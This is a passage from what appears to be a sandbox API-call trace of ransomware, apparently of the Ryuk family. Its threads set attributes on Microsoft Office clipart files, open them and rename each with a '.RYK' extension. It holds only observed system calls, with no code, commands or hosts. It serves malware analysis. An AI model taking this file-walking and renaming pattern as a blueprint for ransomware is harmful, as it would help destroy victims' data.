	[0242.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2234
	os_tid = 0x2880

	[0241.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF", dwFileAttributes=0x80) returned 0
	[0241.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2235
	os_tid = 0x2884

	[0241.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF", dwFileAttributes=0x80) returned 0
	[0241.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.057] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2236
	os_tid = 0x2888

	[0241.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF", dwFileAttributes=0x80) returned 0
	[0241.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.058] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2237
	os_tid = 0x288c

	[0241.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF", dwFileAttributes=0x80) returned 0
	[0241.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.829] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2238
	os_tid = 0x2890

	[0241.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF", dwFileAttributes=0x80) returned 0
	[0241.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.059] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.059] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2239
	os_tid = 0x2894

	[0241.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF", dwFileAttributes=0x80) returned 0
	[0241.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.813] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2240
	os_tid = 0x2898

	[0241.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF", dwFileAttributes=0x80) returned 0
	[0241.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.815] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2242
	os_tid = 0x28a4

	[0241.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF", dwFileAttributes=0x80) returned 0
	[0241.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2243
	os_tid = 0x28a8

	[0242.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF", dwFileAttributes=0x80) returned 0
	[0242.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2244
	os_tid = 0x28ac

	[0242.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF", dwFileAttributes=0x80) returned 0
	[0242.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.003] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.003] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2245
	os_tid = 0x28b0

	[0242.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF", dwFileAttributes=0x80) returned 0
	[0242.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.005] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2246
	os_tid = 0x28b4

	[0242.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF", dwFileAttributes=0x80) returned 0
	[0242.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.007] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2247
	os_tid = 0x28b8

	[0242.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF", dwFileAttributes=0x80) returned 0
	[0242.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.009] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2248
	os_tid = 0x28bc

	[0242.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF", dwFileAttributes=0x80) returned 0
	[0242.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.160] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2249
	os_tid = 0x28c0

	[0242.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF", dwFileAttributes=0x80) returned 0
	[0242.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.159] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.159] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2250
	os_tid = 0x28c4

	[0242.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF", dwFileAttributes=0x80) returned 0
	[0242.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.158] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2251
	os_tid = 0x28c8

	[0242.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF", dwFileAttributes=0x80) returned 0
	[0242.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.091] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.091] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2252
	os_tid = 0x28cc

	[0242.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF", dwFileAttributes=0x80) returned 0
	[0242.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.093] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2253
	os_tid = 0x28d0

	[0242.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF", dwFileAttributes=0x80) returned 0
	[0242.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.167] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2254
	os_tid = 0x28d4

	[0242.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF", dwFileAttributes=0x80) returned 0
	[0242.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.168] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2255
	os_tid = 0x28d8

	[0242.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF", dwFileAttributes=0x80) returned 0
	[0242.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.098] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2256
	os_tid = 0x28dc

	[0242.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF", dwFileAttributes=0x80) returned 0
	[0242.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.170] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2257
	os_tid = 0x28e0

	[0242.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF", dwFileAttributes=0x80) returned 0
	[0242.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.172] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.172] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2258
	os_tid = 0x28e4

	[0242.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF", dwFileAttributes=0x80) returned 0
	[0242.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.173] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2259
	os_tid = 0x28e8

	[0242.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF", dwFileAttributes=0x80) returned 0
	[0242.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.175] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.175] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2260
	os_tid = 0x28ec

	[0242.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF", dwFileAttributes=0x80) returned 0
	[0242.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.177] CloseHandle (hObject=0xffffffffffffffff) returned 0
